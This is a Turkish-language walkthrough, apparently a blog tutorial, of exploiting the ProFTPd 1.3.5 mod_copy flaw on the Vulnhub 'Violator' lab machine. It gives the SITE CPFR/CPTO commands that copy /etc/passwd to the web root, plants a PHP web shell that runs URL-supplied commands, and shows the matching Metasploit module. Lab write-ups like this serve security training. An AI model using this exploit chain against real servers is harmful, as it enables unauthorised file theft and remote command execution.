Yazıda kullanılan Violator sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/violator-1,153/
Violator sanal makinesinde FTP sunucu uygulaması olarak ProFTPd 1.3.5 kullanıldığı görülmektedir.
nmap -Pn -n –open 10.10.2.158 -p21 -sV
Bu sürüme ait istismar kodu exploit-db sitesinden elde edilebilir.
https://www.exploit-db.com/exploits/36742/
Bu istismara göre; ProFTPd 1.3.5 sürümündeki “mod_copy” modülünün “SITE CPFR” ve “SITE CPTO” komutları yetkisiz kullanıcılar tarafından çalıştırılabilir ve kimlik doğrulamamış olan herhangi bir kullanıcı hedef sunucudaki dosyayı okuyabilir veya dosyaya yazabilir.
Bu sunucuya herhangi bir kullanıcı adı ve parola bilgisi ile bağlantı kurulduğunda çalıştırılabilecek komutlar listelenebilmektedir.
ftp 10.10.2.158
site help
Kimlik doğrulamayan kullanıcılar tarafından çalıştırılabilecek olan “SITE” komutlarından “CPFR” ile kurban sistem üzerindeki dosya kopyalanır ve “CPTO” ile belirtilen dizine yapıştırılır.
site CPFR /etc/passwd
site CPTO /var/www/html/passwd_dosyasi
site CPFR /etc/shadow
site CPTO /var/www/html/shadow_dosyasi
Not: FTP servisini çalıştıran uygulama kullanıcı hesabının (proftpd) “/var/www/html” klasörüne yazma yetkisi olduğu için okuma yetkisi dahilindeki “/etc/passwd” dosyasını kök web dizinine atabilmiştir. Bunun yanında uygulama kullanıcı hesabının (proftpd) “/etc/shadow” dosyasını okuma yetkisi olmadığı için bu dosya kopyalanamamıştır.
ps -ef | grep proftpd | grep -v grep
Sonuç olarak “/var/www/html” klasörüne atılan “/etc/passwd” dosyası okunabilmektedir.
http://10.10.2.158/passwd_dosyasi
Benzer olarak hedef sistemde komut enjeksiyonu zafiyetine sebap olabilecek bir dosya oluşturularak disk sistemine kaydedilebilir.
site CPFR /proc/self/cmdline
site CPTO /tmp/<?php passthru($_GET[‘Komut’]);?>
site CPFR /tmp/<?php passthru($_GET[‘Komut’]);?>
site CPTO /var/www/html/erisim.php
URL’deki “Komut” parametresindeki komut enjeksiyonu ile işletim sisteminde komut çalıştırılabilmektedir.
echo “…Komut Calistirilabilir…”
uname -a
id
head -5 /etc/passwdhttp://10.10.2.158/erisim.php?Komut=echo%20%22…Komut%20Calistirilabilir…%22;uname%20-a;id;head%20-5%20/etc/passwd
Aynı işlem Metasploit Framework ile otomatik olarak da gerçekleştirilebilir.
use exploit/unix/ftp/proftpd_modcopy_exec
set RHOST 10.10.2.158
set SITEPATH /var/www/html
show options
Modül çalıştırılır.
run
id
hostname
head -5 /etc/passwd
uname -a
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- digitalworld.local: JOY: https://www.vulnhub.com/entry/digitalworldlocal-joy,298/
Kaynak: